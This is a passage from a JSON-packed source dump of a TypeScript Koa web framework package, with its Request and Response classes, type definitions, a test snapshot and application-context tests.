typescript/no-explicit-any\n  get body(): any {\n    return this.response.body;\n  }\n\n  // oxlint-disable-next-line typescript/no-explicit-any\n  set body(val: any) {\n    this.response.body = val;\n  }\n\n  get length(): number | undefined {\n    return this.response.length;\n  }\n\n  set length(n: number | string | undefined) {\n    this.response.length = n;\n  }\n\n  get type(): string {\n    return this.response.type;\n  }\n\n  set type(type: string | null | undefined) {\n    this.response.type = type;\n  }\n\n  get lastModified() {\n    return this.response.lastModified;\n  }\n\n  set lastModified(val: string | Date | undefined) {\n    this.response.lastModified = val;\n  }\n\n  get etag() {\n    return this.response.etag;\n  }\n\n  set etag(val: string) {\n    this.response.etag = val;\n  }\n\n  get headerSent(): boolean {\n    return this.response.headerSent;\n  }\n\n  get writable(): boolean {\n    return this.response.writable;\n  }\n}\n"
  },
  {
    "path": "packages/koa/src/index.ts",
    "content": "import { Application } from './application.ts';\n\nexport default Application;\n\nexport * from './application.ts';\nexport * from './context.ts';\nexport * from './request.ts';\nexport * from './response.ts';\nexport type { CustomError, AnyProto } from './types.ts';\n"
  },
  {
    "path": "packages/koa/src/request.ts",
    "content": "import type { IncomingMessage, ServerResponse } from 'node:http';\nimport net, { type Socket } from 'node:net';\nimport qs, { type ParsedUrlQuery } from 'node:querystring';\nimport { format as stringify } from 'node:url';\nimport util from 'node:util';\n\nimport accepts, { type Accepts } from 'accepts';\nimport contentType from 'content-type';\nimport fresh from 'fresh';\nimport parse from 'parseurl';\nimport typeis from 'type-is';\n\nimport type { Application } from './application.ts';\nimport type { Context } from './context.ts';\nimport type { Response } from './response.ts';\n\nexport interface RequestSocket extends Socket {\n  encrypted: boolean;\n}\n\nexport class Request {\n  [key: symbol]: unknown;\n  app: Application;\n  req: IncomingMessage;\n  res: ServerResponse;\n  ctx: Context;\n  response: Response;\n  originalUrl: string;\n\n  constructor(app: Application, ctx: Context, req: IncomingMessage, res: ServerResponse) {\n    this.app = app;\n    this.req = req;\n    this.res = res;\n    this.ctx = ctx;\n    this.originalUrl = req.url ?? '/';\n    // Set up custom inspect\n    this[util.inspect.custom] = this.inspect.bind(this);\n  }\n\n  /**\n   * Return request header.\n   */\n\n  get header(): IncomingMessage['headers'] {\n    return this.req.headers;\n  }\n\n  /**\n   * Set request header.\n   */\n\n  set header(val) {\n    this.req.headers = val;\n  }\n\n  /**\n   * Return request header, alias as request.header\n   */\n\n  get headers(): IncomingMessage['headers'] {\n    return this.req.headers;\n  }\n\n  /**\n   * Set request header, alias as request.header\n   */\n\n  set headers(val) {\n    this.req.headers = val;\n  }\n\n  /**\n   * Get request URL.\n   */\n\n  get url(): string {\n    return this.req.url ?? '/';\n  }\n\n  /**\n   * Set request URL.\n   */\n\n  set url(val) {\n    this.req.url = val;\n  }\n\n  /**\n   * Get origin of URL.\n   */\n\n  get origin() {\n    return `${this.protocol}://${this.host}`;\n  }\n\n  /**\n   * Get full request URL.\n   */\n\n  get href(): string {\n    // support: `GET http://example.com/foo`\n    if (/^https?:\\/\\//i.test(this.originalUrl)) {\n      return this.originalUrl;\n    }\n    return this.origin + this.originalUrl;\n  }\n\n  /**\n   * Get request method.\n   */\n\n  get method() {\n    return this.req.method ?? 'GET';\n  }\n\n  /**\n   * Set request method.\n   */\n  set method(val: string) {\n    this.req.method = val;\n  }\n\n  /**\n   * Get request pathname.\n   */\n  get path() {\n    return parse(this.req)?.pathname ?? '';\n  }\n\n  /**\n   * Set pathname, retaining the query string when present.\n   */\n  set path(pathname: string) {\n    const url = parse(this.req);\n    if (!url) return;\n    if (url.pathname === pathname) return;\n\n    url.pathname = pathname;\n    url.path = null;\n\n    this.url = stringify(url);\n  }\n\n  protected _parsedUrlQueryCache: Record<string, ParsedUrlQuery> | undefined;\n\n  /**\n   * Get parsed query string.\n   */\n  get query(): ParsedUrlQuery {\n    const str = this.querystring;\n    if (!this._parsedUrlQueryCache) {\n      this._parsedUrlQueryCache = {};\n    }\n    let parsedUrlQuery = this._parsedUrlQueryCache[str];\n    if (!parsedUrlQuery) {\n      parsedUrlQuery = qs.parse(str);\n      this._parsedUrlQueryCache[str] = parsedUrlQuery;\n    }\n    return parsedUrlQuery;\n  }\n\n  /**\n   * Set query string as an object.\n   */\n  set query(obj: ParsedUrlQuery) {\n    this.querystring = qs.stringify(obj);\n  }\n\n  /**\n   * Get query string.\n   */\n  get querystring() {\n    if (!this.req) return '';\n    return (parse(this.req)?.query as string) ?? '';\n  }\n\n  /**\n   * Set query string.\n   */\n  set querystring(str: string) {\n    const url = parse(this.req);\n    if (!url) return;\n    if (url.search === `?${str}`) return;\n\n    url.search = str;\n    url.path = null;\n    this.url = stringify(url);\n  }\n\n  /**\n   * Get the search string. Same as the query string\n   * except it includes the leading ?.\n   */\n  get search() {\n    const querystring = this.querystring;\n    if (!querystring) return '';\n    return `?${querystring}`;\n  }\n\n  /**\n   * Set the search string. Same as\n   * request.querystring= but included for ubiquity.\n   */\n  set search(str: string) {\n    this.querystring = str;\n  }\n\n  /**\n   * Parse the \"Host\" header field host\n   * and support X-Forwarded-Host when a\n   * proxy is enabled.\n   * return `hostname:port` format\n   */\n  get host(): string {\n    const proxy = this.app.proxy;\n    let host = proxy ? this.get<string>('X-Forwarded-Host') : '';\n    if (host) {\n      host = splitCommaSeparatedValues(host, 1)[0];\n    }\n    if (!host) {\n      if (this.req.httpVersionMajor >= 2) {\n        host = this.get(':authority');\n      }\n      if (!host) {\n        host = this.get('Host');\n      }\n    }\n    return host;\n  }\n\n  /**\n   * Parse the \"Host\" header field hostname\n   * and support X-Forwarded-Host when a\n   * proxy is enabled.\n   */\n  get hostname(): string {\n    const host = this.host;\n    if (!host) {\n      return '';\n    }\n    if (host[0] === '[') {\n      return this.URL.hostname || ''; // IPv6\n    }\n    return host.split(':', 1)[0];\n  }\n\n  protected _memoizedURL: URL | undefined;\n\n  /**\n   * Get WHATWG parsed URL.\n   * Lazily memoized.\n   */\n  get URL() {\n    if (!this._memoizedURL) {\n      const originalUrl = this.originalUrl || ''; // avoid undefined in template string\n      try {\n        this._memoizedURL = new URL(`${this.origin}${originalUrl}`);\n      } catch {\n        this._memoizedURL = Object.create(null);\n      }\n    }\n    return this._memoizedURL as URL;\n  }\n\n  /**\n   * Check if the request is fresh, aka\n   * Last-Modified and/or the ETag\n   * still match.\n   */\n  get fresh(): boolean {\n    const method = this.method;\n    const status = this.response.status;\n\n    // GET or HEAD for weak freshness validation only\n    if (method !== 'GET' && method !== 'HEAD') {\n      return false;\n    }\n\n    // 2xx or 304 as per rfc2616 14.26\n    if ((status >= 200 && status < 300) || status === 304) {\n      return fresh(this.header, this.response.header);\n    }\n\n    return false;\n  }\n\n  /**\n   * Check if the request is stale, aka\n   * \"Last-Modified\" and / or the \"ETag\" for the\n   * resource has changed.\n   */\n  get stale(): boolean {\n    return !this.fresh;\n  }\n\n  /**\n   * Check if the request is idempotent.\n   */\n  get idempotent(): boolean {\n    const methods = ['GET', 'HEAD', 'PUT', 'DELETE', 'OPTIONS', 'TRACE'];\n    return methods.includes(this.method);\n  }\n\n  /**\n   * Return the request socket.\n   */\n  get socket() {\n    return this.req.socket as RequestSocket;\n  }\n\n  /**\n   * Get the charset when present or undefined.\n   */\n  get charset(): string | undefined {\n    try {\n      const { parameters } = contentType.parse(this.req);\n      return parameters.charset || '';\n    } catch {\n      return '';\n    }\n  }\n\n  /**\n   * Return parsed Content-Length when present.\n   */\n  get length(): number | undefined {\n    const len = this.get<string>('Content-Length');\n    if (len === '') {\n      return;\n    }\n    return Number.parseInt(len);\n  }\n\n  /**\n   * Return the protocol string \"http\" or \"https\"\n   * when requested with TLS. When the proxy setting\n   * is enabled the \"X-Forwarded-Proto\" header\n   * field will be trusted. If you're running behind\n   * a reverse proxy that supplies https for you this\n   * may be enabled.\n   */\n  get protocol(): string {\n    if (this.socket.encrypted) {\n      return 'https';\n    }\n    if (!this.app.proxy) {\n      return 'http';\n    }\n    let proto = this.get<string>('X-Forwarded-Proto');\n    if (proto) {\n      proto = splitCommaSeparatedValues(proto, 1)[0];\n    }\n    return proto || 'http';\n  }\n\n  /**\n   * Shorthand for:\n   *\n   *    this.protocol == 'https'\n   */\n  get secure(): boolean {\n    return this.protocol === 'https';\n  }\n\n  /**\n   * When `app.proxy` is `true`, parse\n   * the \"X-Forwarded-For\" ip address list.\n   *\n   * For example if the value was \"client, proxy1, proxy2\"\n   * you would receive the array `[\"client\", \"proxy1\", \"proxy2\"]`\n   * where \"proxy2\" is the furthest down-stream.\n   */\n  get ips(): string[] {\n    const proxy = this.app.proxy;\n    const val = this.get<string>(this.app.proxyIpHeader);\n    let ips = proxy && val ? splitCommaSeparatedValues(val) : [];\n    if (this.app.maxIpsCount > 0) {\n      ips = ips.slice(-this.app.maxIpsCount);\n    }\n    return ips;\n  }\n\n  protected _ip: string;\n  /**\n   * Return request's remote address\n   * When `app.proxy` is `true`, parse\n   * the \"X-Forwarded-For\" ip address list and return the first one\n   */\n  get ip() {\n    if (!this._ip) {\n      this._ip = this.ips[0] || this.socket.remoteAddress || '';\n    }\n    return this._ip;\n  }\n\n  set ip(ip: string) {\n    this._ip = ip;\n  }\n\n  /**\n   * Return subdomains as an array.\n   *\n   * Subdomains are the dot-separated parts of the host before the main domain\n   * of the app. By default, the domain of the app is assumed to be the last two\n   * parts of the host. This can be changed by setting `app.subdomainOffset`.\n   *\n   * For example, if the domain is \"tobi.ferrets.example.com\":\n   * If `app.subdomainOffset` is not set, this.subdomains is\n   * `[\"ferrets\", \"tobi\"]`.\n   * If `app.subdomainOffset` is 3, this.subdomains is `[\"tobi\"]`.\n   */\n  get subdomains(): string[] {\n    const offset = this.app.subdomainOffset;\n    const hostname = this.hostname;\n    if (net.isIP(hostname)) return [];\n    return hostname.split('.').reverse().slice(offset);\n  }\n\n  protected _accept: Accepts;\n  /**\n   * Get accept object.\n   * Lazily memoized.\n   */\n  get accept() {\n    return this._accept || (this._accept = accepts(this.req));\n  }\n\n  /**\n   * Set accept object.\n   */\n  set accept(obj: Accepts) {\n    this._accept = obj;\n  }\n\n  /**\n   * Check if the given `type(s)` is acceptable, returning\n   * the best match when true, otherwise `false`, in which\n   * case you should respond with 406 \"Not Acceptable\".\n   *\n   * The `type` value may be a single mime type string\n   * such as \"application/json\", the extension name\n   * such as \"json\" or an array `[\"json\", \"html\", \"text/plain\"]`. When a list\n   * or array is given the _best_ match, if any is returned.\n   *\n   * Examples:\n   *\n   *     // Accept: text/html\n   *     this.accepts('html');\n   *     // => \"html\"\n   *\n   *     // Accept: text/*, application/json\n   *     this.accepts('html');\n   *     // => \"html\"\n   *     this.accepts('text/html');\n   *     // => \"text/html\"\n   *     this.accepts('json', 'text');\n   *     // => \"json\"\n   *     this.accepts('application/json');\n   *     // => \"application/json\"\n   *\n   *     // Accept: text/*, application/json\n   *     this.accepts('image/png');\n   *     this.accepts('png');\n   *     // => false\n   *\n   *     // Accept: text/*;q=.5, application/json\n   *     this.accepts(['html', 'json']);\n   *     this.accepts('html', 'json');\n   *     // => \"json\"\n   */\n  accepts(args: string[]): string | string[] | false;\n  accepts(...args: string[]): string | string[] | false;\n  accepts(args?: string | string[], ...others: string[]): string | string[] | false {\n    return this.accept.types(args as string, ...others);\n  }\n\n  /**\n   * Return accepted encodings or best fit based on `encodings`.\n   *\n   * Given `Accept-Encoding: gzip, deflate`\n   * an array sorted by quality is returned:\n   *\n   *     ['gzip', 'deflate']\n   */\n  acceptsEncodings(): string[];\n  acceptsEncodings(encodings: string[]): string | false;\n  acceptsEncodings(...encodings: string[]): string | false;\n  acceptsEncodings(encodings?: string | string[], ...others: string[]): string[] | string | false {\n    if (!encodings) {\n      return this.accept.encodings();\n    }\n    if (Array.isArray(encodings)) {\n      encodings = [...encodings, ...others];\n    } else {\n      encodings = [encodings, ...others];\n    }\n    return this.accept.encodings(...encodings);\n  }\n\n  /**\n   * Return accepted charsets or best fit based on `charsets`.\n   *\n   * Given `Accept-Charset: utf-8, iso-8859-1;q=0.2, utf-7;q=0.5`\n   * an array sorted by quality is returned:\n   *\n   *     ['utf-8', 'utf-7', 'iso-8859-1']\n   */\n  acceptsCharsets(): string[];\n  acceptsCharsets(charsets: string[]): string | false;\n  acceptsCharsets(...charsets: string[]): string | false;\n  acceptsCharsets(charsets?: string | string[], ...others: string[]): string[] | string | false {\n    if (!charsets) {\n      return this.accept.charsets();\n    }\n    if (Array.isArray(charsets)) {\n      charsets = [...charsets, ...others];\n    } else {\n      charsets = [charsets, ...others];\n    }\n    return this.accept.charsets(...charsets);\n  }\n\n  /**\n   * Return accepted languages or best fit based on `langs`.\n   *\n   * Given `Accept-Language: en;q=0.8, es, pt`\n   * an array sorted by quality is returned:\n   *\n   *     ['es', 'pt', 'en']\n   */\n  acceptsLanguages(): string[];\n  acceptsLanguages(languages: string[]): string | false;\n  acceptsLanguages(...languages: string[]): string | false;\n  acceptsLanguages(languages?: string | string[], ...others: string[]): string | string[] | false {\n    if (!languages) {\n      return this.accept.languages();\n    }\n    if (Array.isArray(languages)) {\n      languages = [...languages, ...others];\n    } else {\n      languages = [languages, ...others];\n    }\n    return this.accept.languages(...languages);\n  }\n\n  /**\n   * Check if the incoming request contains the \"Content-Type\"\n   * header field and if it contains any of the given mime `type`s.\n   * If there is no request body, `null` is returned.\n   * If there is no content type, `false` is returned.\n   * Otherwise, it returns the first `type` that matches.\n   *\n   * Examples:\n   *\n   *     // With Content-Type: text/html; charset=utf-8\n   *     this.is('html'); // => 'html'\n   *     this.is('text/html'); // => 'text/html'\n   *     this.is('text/*', 'application/json'); // => 'text/html'\n   *\n   *     // When Content-Type is application/json\n   *     this.is('json', 'urlencoded'); // => 'json'\n   *     this.is('application/json'); // => 'application/json'\n   *     this.is('html', 'application/*'); // => 'application/json'\n   *\n   *     this.is('html'); // => false\n   */\n  is(type?: string | string[], ...types: string[]): string | false | null {\n    let testTypes: string[] = [];\n    if (type) {\n      testTypes = Array.isArray(type) ? type : [type];\n    }\n    return typeis(this.req, [...testTypes, ...types]);\n  }\n\n  /**\n   * Return the request mime type void of\n   * parameters such as \"charset\".\n   */\n  get type(): string {\n    const type = this.get<string>('Content-Type');\n    if (!type) return '';\n    return type.split(';')[0];\n  }\n\n  /**\n   * Return request header.\n   *\n   * The `Referrer` header field is special-cased,\n   * both `Referrer` and `Referer` are interchangeable.\n   *\n   * Examples:\n   *\n   *     this.get('Content-Type');\n   *     // => \"text/plain\"\n   *\n   *     this.get('content-type');\n   *     // => \"text/plain\"\n   *\n   *     this.get('Something');\n   *     // => ''\n   */\n  get<T = string | string[]>(field: string): T {\n    const req = this.req;\n    switch ((field = field.toLowerCase())) {\n      case 'referer':\n      case 'referrer': {\n        return (req.headers.referrer || req.headers.referer || '') as T;\n      }\n      default: {\n        return (req.headers[field] || '') as T;\n      }\n    }\n  }\n\n  /**\n   * Inspect implementation.\n   */\n  inspect(): object | undefined {\n    if (!this.req) return;\n    return this.toJSON();\n  }\n\n  /**\n   * Return JSON representation.\n   */\n  toJSON(): object {\n    return {\n      method: this.method,\n      url: this.url,\n      header: this.header,\n    };\n  }\n}\n\n/**\n * Split a comma-separated value string into an array of values, with an optional limit.\n * All the values are trimmed of whitespace and filtered out empty values.\n *\n * @param {string} value - The comma-separated value string to split.\n * @param {number} [limit] - The maximum number of values to return.\n * @returns {string[]} An array of values from the comma-separated string.\n */\nfunction splitCommaSeparatedValues(value: string, limit?: number): string[] {\n  return value\n    .split(',', limit)\n    .map((v) => v.trim())\n    .filter((v) => v.length > 0);\n}\n"
  },
  {
    "path": "packages/koa/src/response.ts",
    "content": "import assert from 'node:assert';\nimport type { IncomingMessage, OutgoingHttpHeaders, ServerResponse } from 'node:http';\nimport { extname } from 'node:path';\nimport Stream from 'node:stream';\nimport util from 'node:util';\n\nimport { getType } from 'cache-content-type';\nimport contentDisposition, { type Options as ContentDispositionOptions } from 'content-disposition';\nimport destroy from 'destroy';\nimport encodeUrl from 'encodeurl';\nimport escape from 'escape-html';\nimport onFinish from 'on-finished';\nimport statuses from 'statuses';\nimport { is as typeis } from 'type-is';\nimport vary from 'vary';\n\nimport type { Application } from './application.ts';\nimport type { Context } from './context.ts';\nimport type { Request } from './request.ts';\n\nexport class Response {\n  [key: symbol]: unknown;\n  app: Application;\n  req: IncomingMessage;\n  res: ServerResponse;\n  ctx: Context;\n  request: Request;\n\n  constructor(app: Application, ctx: Context, req: IncomingMessage, res: ServerResponse) {\n    this.app = app;\n    this.req = req;\n    this.res = res;\n    this.ctx = ctx;\n    // Set up custom inspect\n    this[util.inspect.custom] = this.inspect.bind(this);\n  }\n\n  /**\n   * Return the request socket.\n   */\n  get socket(): ServerResponse['socket'] {\n    return this.res.socket;\n  }\n\n  /**\n   * Return response header.\n   */\n  get header(): OutgoingHttpHeaders {\n    // res.getHeaders will return null if not set\n    return this.res.getHeaders() ?? {};\n  }\n\n  /**\n   * Return response header, alias as response.header\n   */\n  get headers(): OutgoingHttpHeaders {\n    return this.header;\n  }\n\n  _explicitStatus: boolean;\n\n  /**\n   * Get response status code.\n   */\n  get status() {\n    return this.res.statusCode;\n  }\n\n  /**\n   * Set response status code.\n   */\n  set status(code: number) {\n    if (this.headerSent) return;\n    assert.ok(Number.isInteger(code), 'status code must be a number');\n    assert.ok(code >= 100 && code <= 999, `invalid status code: ${code}`);\n    this._explicitStatus = true;\n    this.res.statusCode = code;\n    if (this.req.httpVersionMajor < 2 && statuses.message[code]) {\n      this.res.statusMessage = statuses.message[code];\n    }\n    if (this.body && statuses.empty[code]) {\n      this.body = null;\n    }\n  }\n\n  /**\n   * Get response status message\n   */\n  get message(): string {\n    return this.res.statusMessage ?? statuses.message[this.status];\n  }\n\n  /**\n   * Set response status message\n   */\n  set message(msg: string) {\n    this.res.statusMessage = msg;\n  }\n\n  // oxlint-disable-next-line typescript/no-explicit-any\n  _body: any;\n  _explicitNullBody: boolean;\n\n  /**\n   * Get response body.\n   */\n  get body() {\n    return this._body;\n  }\n\n  /**\n   * Set response body.\n   */\n  set body(val: string | Buffer | object | Stream | null | undefined | boolean) {\n    const original = this._body;\n    this._body = val;\n\n    // no content\n    if (val === null || val === undefined) {\n      if (!statuses.empty[this.status]) {\n        this.status = 204;\n      }\n      if (val === null) {\n        this._explicitNullBody = true;\n      }\n      this.remove('Content-Type');\n      this.remove('Content-Length');\n      this.remove('Transfer-Encoding');\n      return;\n    }\n\n    // set the status\n    if (!this._explicitStatus) this.status = 200;\n\n    // set the content-type only if not yet set\n    const setType = !this.has('Content-Type');\n\n    // string\n    if (typeof val === 'string') {\n      if (setType) this.type = /^\\s*?</.test(val) ? 'html' : 'text';\n      this.length = Buffer.byteLength(val);\n      return;\n    }\n\n    // buffer\n    if (Buffer.isBuffer(val)) {\n      if (setType) this.type = 'bin';\n      this.length = val.length;\n      return;\n    }\n\n    // stream\n    if (val instanceof Stream) {\n      onFinish(this.res, destroy.bind(null, val));\n      // oxlint-disable-next-line eqeqeq\n      if (original != val) {\n        val.once('error', (err) => this.ctx.onerror(err));\n        // overwriting\n        if (original !== null && original !== undefined) {\n          this.remove('Content-Length');\n        }\n      }\n\n      if (setType) {\n        this.type = 'bin';\n      }\n      return;\n    }\n\n    // json\n    this.remove('Content-Length');\n    this.type = 'json';\n  }\n\n  /**\n   * Set Content-Length field to `n`.\n   */\n  set length(n: number | string | undefined) {\n    if (n === undefined) return;\n    if (!this.has('Transfer-Encoding')) {\n      this.set('Content-Length', n);\n    }\n  }\n\n  /**\n   * Return parsed response Content-Length when present.\n   *\n   * When Content-Length is not defined it will return `undefined`.\n   */\n  get length(): number | undefined {\n    if (this.has('Content-Length')) {\n      return Number.parseInt(this.get('Content-Length')) || 0;\n    }\n\n    const body = this.body;\n    if (!body || body instanceof Stream) {\n      return undefined;\n    }\n    if (typeof body === 'string') {\n      return Buffer.byteLength(body);\n    }\n    if (Buffer.isBuffer(body)) {\n      return body.length;\n    }\n    return Buffer.byteLength(JSON.stringify(body));\n  }\n\n  /**\n   * Check if a header has been written to the socket.\n   */\n  get headerSent(): boolean {\n    return this.res.headersSent;\n  }\n\n  /**\n   * Vary on `field`.\n   */\n  vary(field: string): void {\n    if (this.headerSent) return;\n    vary(this.res, field);\n  }\n\n  protected _getBackReferrer(): string | undefined {\n    const referrer = this.ctx.get<string>('Referrer');\n    if (referrer) {\n      // referrer is an absolute URL, check if it's the same origin\n      const url = new URL(referrer, this.ctx.href);\n      if (url.host === this.ctx.host) {\n        return referrer;\n      }\n    }\n  }\n\n  /**\n   * Perform a 302 redirect to `url`.\n   *\n   * The string \"back\" is special-cased\n   * to provide Referrer support, when Referrer\n   * is not present `alt` or \"/\" is used.\n   *\n   * Examples:\n   *\n   *    this.redirect('back');\n   *    this.redirect('back', '/index.html');\n   *    this.redirect('/login');\n   *    this.redirect('http://google.com'); // will format to 'http://google.com/'\n   */\n  redirect(url: string, alt?: string): void {\n    // location\n    if (url === 'back') {\n      url = this._getBackReferrer() || alt || '/';\n    }\n    if (url.startsWith('https://') || url.startsWith('http://')) {\n      // formatting url again avoid security escapes\n      url = new URL(url).toString();\n    }\n    this.set('Location', encodeUrl(url));\n\n    // status\n    if (!statuses.redirect[this.status]) this.status = 302;\n\n    // html\n    if (this.ctx.accepts('html')) {\n      url = escape(url);\n      this.type = 'text/html; charset=utf-8';\n      this.body = `Redirecting to ${url}.`;\n      return;\n    }\n\n    // text\n    this.type = 'text/plain; charset=utf-8';\n    this.body = `Redirecting to ${url}.`;\n  }\n\n  /**\n   * Set Content-Disposition header to \"attachment\" with optional `filename`.\n   */\n  attachment(filename?: string, options?: ContentDispositionOptions): void {\n    if (filename) this.type = extname(filename);\n    this.set('Content-Disposition', contentDisposition(filename, options));\n  }\n\n  /**\n   * Set Content-Type response header with `type` through `mime.lookup()`\n   * when it does not contain a charset.\n   *\n   * Examples:\n   *\n   *     this.type = '.html';\n   *     this.type = 'html';\n   *     this.type = 'json';\n   *     this.type = 'application/json';\n   *     this.type = 'png';\n   */\n  set type(type: string | null | undefined) {\n    if (!type) {\n      this.remove('Content-Type');\n      return;\n    }\n    const mimeType = getType(type);\n    if (mimeType) {\n      this.set('Content-Type', mimeType);\n    }\n  }\n\n  /**\n   * Return the response mime type void of\n   * parameters such as \"charset\".\n   */\n  get type(): string {\n    const type = this.get<string>('Content-Type');\n    if (!type) return '';\n    return type.split(';', 1)[0];\n  }\n\n  /**\n   * Check whether the response is one of the listed types.\n   * Pretty much the same as `this.request.is()`.\n   *\n   *     this.response.is('html')\n   *     this.response.is('html', 'json')\n   */\n  is(type?: string | string[], ...types: string[]): string | false {\n    let testTypes: string[] = [];\n    if (type) {\n      testTypes = Array.isArray(type) ? type : [type];\n    }\n    return typeis(this.type, [...testTypes, ...types]);\n  }\n\n  /**\n   * Set the Last-Modified date using a string or a Date.\n   *\n   *     this.response.lastModified = new Date();\n   *     this.response.lastModified = '2013-09-13';\n   */\n  set lastModified(val: string | Date | undefined) {\n    if (typeof val === 'string') val = new Date(val);\n    if (val) {\n      this.set('Last-Modified', val.toUTCString());\n    }\n  }\n\n  /**\n   * Get the Last-Modified date in Date form, if it exists.\n   */\n  get lastModified(): Date | undefined {\n    const date = this.get<string>('last-modified');\n    if (date) return new Date(date);\n  }\n\n  /**\n   * Set the ETag of a response.\n   * This will normalize the quotes if necessary.\n   *\n   *     this.response.etag = 'md5-hash-sum';\n   *     this.response.etag = '\"md5-hash-sum\"';\n   *     this.response.etag = 'W/\"123456789\"';\n   */\n  set etag(val: string) {\n    if (!/^(W\\/)?\"/.test(val)) val = `\"${val}\"`;\n    this.set('ETag', val);\n  }\n\n  /**\n   * Get the ETag of a response.\n   */\n  get etag() {\n    return this.get('ETag');\n  }\n\n  /**\n   * Return response header.\n   *\n   * Examples:\n   *\n   *     this.get('Content-Type');\n   *     // => \"text/plain\"\n   *\n   *     this.get('content-type');\n   *     // => \"text/plain\"\n   */\n  get<T = string | string[] | number>(field: string): T {\n    return (this.header[field.toLowerCase()] || '') as T;\n  }\n\n  /**\n   * Returns true if the header identified by name is currently set in the outgoing headers.\n   * The header name matching is case-insensitive.\n   *\n   * Examples:\n   *\n   *     this.has('Content-Type');\n   *     // => true\n   *\n   *     this.get('content-type');\n   *     // => true\n   */\n  has(field: string): boolean {\n    return this.res.hasHeader(field);\n  }\n\n  /**\n   * Set header `field` to `val` or pass\n   * an object of header fields.\n   *\n   * Examples:\n   *\n   *    this.set('Foo', ['bar', 'baz']);\n   *    this.set('Accept', 'application/json');\n   *    this.set({ Accept: 'text/plain', 'X-API-Key': 'tobi' });\n   */\n  set(field: string | Record<string, string>, val?: string | number | unknown[]): void {\n    if (this.headerSent) return;\n    if (typeof field === 'string') {\n      let value = val as string | string[];\n      if (Array.isArray(val)) {\n        value = val.map((v) => (typeof v === 'string' ? v : String(v)));\n      } else if (typeof val !== 'string') {\n        value = String(val);\n      }\n      this.res.setHeader(field, value);\n    } else {\n      for (const key in field) {\n        this.set(key, field[key]);\n      }\n    }\n  }\n\n  /**\n   * Append additional header `field` with value `val`.\n   *\n   * Examples:\n   *\n   * ```\n   * this.append('Link', ['<http://localhost/>', '<http://localhost:3000/>']);\n   * this.append('Set-Cookie', 'foo=bar; Path=/; HttpOnly');\n   * this.append('Warning', '199 Miscellaneous warning');\n   */\n  append(field: string, val: string | string[]): void {\n    const prev = this.get<string | string[]>(field);\n\n    let value = val;\n    if (prev) {\n      value = Array.isArray(prev) ? prev.concat(value) : [prev].concat(val);\n    }\n\n    return this.set(field, value);\n  }\n\n  /**\n   * Remove header `field`.\n   */\n  remove(field: string): void {\n    if (this.headerSent) return;\n    this.res.removeHeader(field);\n  }\n\n  /**\n   * Checks if the request is writable.\n   * Tests for the existence of the socket\n   * as node sometimes does not set it.\n   */\n  get writable(): boolean {\n    // can't write any more after response finished\n    // response.writableEnded is available since Node > 12.9\n    // https://nodejs.org/api/http.html#http_response_writableended\n    // response.finished is undocumented feature of previous Node versions\n    // https://stackoverflow.com/questions/16254385/undocumented-response-finished-in-node-js\n    if (this.res.writableEnded || this.res.finished) return false;\n\n    const socket = this.res.socket;\n    // There are already pending outgoing res, but still writable\n    // https://github.com/nodejs/node/blob/v4.4.7/lib/_http_server.js#L486\n    if (!socket) return true;\n    return socket.writable;\n  }\n\n  /**\n   * Inspect implementation.\n   */\n  inspect(): object | undefined {\n    if (!this.res) return;\n    const o = this.toJSON();\n    Reflect.set(o, 'body', this.body);\n    return o;\n  }\n\n  /**\n   * Return JSON representation.\n   */\n  toJSON(): object {\n    return {\n      status: this.status,\n      message: this.message,\n      header: this.header,\n    };\n  }\n\n  /**\n   * Flush any set headers and begin the body\n   */\n  flushHeaders(): void {\n    this.res.flushHeaders();\n  }\n}\n"
  },
  {
    "path": "packages/koa/src/types.ts",
    "content": "export type CustomError = Error & {\n  headers?: Record<string, string>;\n  status?: number;\n  statusCode?: number;\n  code?: string;\n  expose?: boolean;\n  headerSent?: boolean;\n};\n\nexport interface AnyProto {\n  // oxlint-disable-next-line typescript/no-explicit-any\n  [key: string | symbol]: any;\n}\n"
  },
  {
    "path": "packages/koa/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export Koa class 1`] = `\n[\n  \"HttpError\",\n]\n`;\n\nexports[`should export Koa class 2`] = `\n[\n  \"default\",\n  \"Context\",\n  \"Request\",\n  \"Response\",\n  \"Application\",\n]\n`;\n"
  },
  {
    "path": "packages/koa/test/application/context.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport { Application, Context } from '../../src/index.ts';\n\ndescribe('app.context', () => {\n  const app1 = new Application();\n  app1.context.msg = 'hello app1';\n  const app2 = new Application();\n  app2.request.foo = 'bar';\n\n  it('should the context between apps is isolated', () => {\n    assert.notEqual(app1.context, app2.context);\n    assert.equal(app1.context.msg, 'hello app1');\n    assert.equal(app1.request.foo, undefined);\n    assert.equal(app2.context.msg, undefined);\n    assert.equal(app2.request.foo, 'bar');\n  });\n\n  it('should merge properties', () => {\n    app1.use((ctx) => {\n      assert.equal(ctx.msg, 'hello app1');\n      assert.equal(ctx.request.foo, undefined);\n      ctx.status = 204;\n    });\n\n    return request(app1.listen()).get('/').expect(204);\n  });\n\n  it('should not affect the original prototype', () => {\n    app2.use((ctx) => {\n      assert.equal(ctx.msg, undefined);\n      assert.equal(ctx.request.foo, 'bar');\n      ctx.status = 204;\n    });\n\n    return request(app2.listen()).get('/').expect(204);\n  });\n\n  describe('Sub Class', () => {\n    class MyContext extends Context {\n      getMsg() {\n        return 'world';\n      }\n    }\n\n    class MyApp extends Application {\n      constructor() {\n        super();\n        this.ContextClass = MyContext;\n      }\n    }\n\n    const app = new MyApp();\n    app.use((ctx: MyContext) => {\n      ctx.body = `hello, ${ctx.getMsg()}`;\n    });\n\n    it('should work with sub class', () => {\n      return request(app.listen()).get('/').expect(200, 'hello, world');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/currentContext.test.ts",
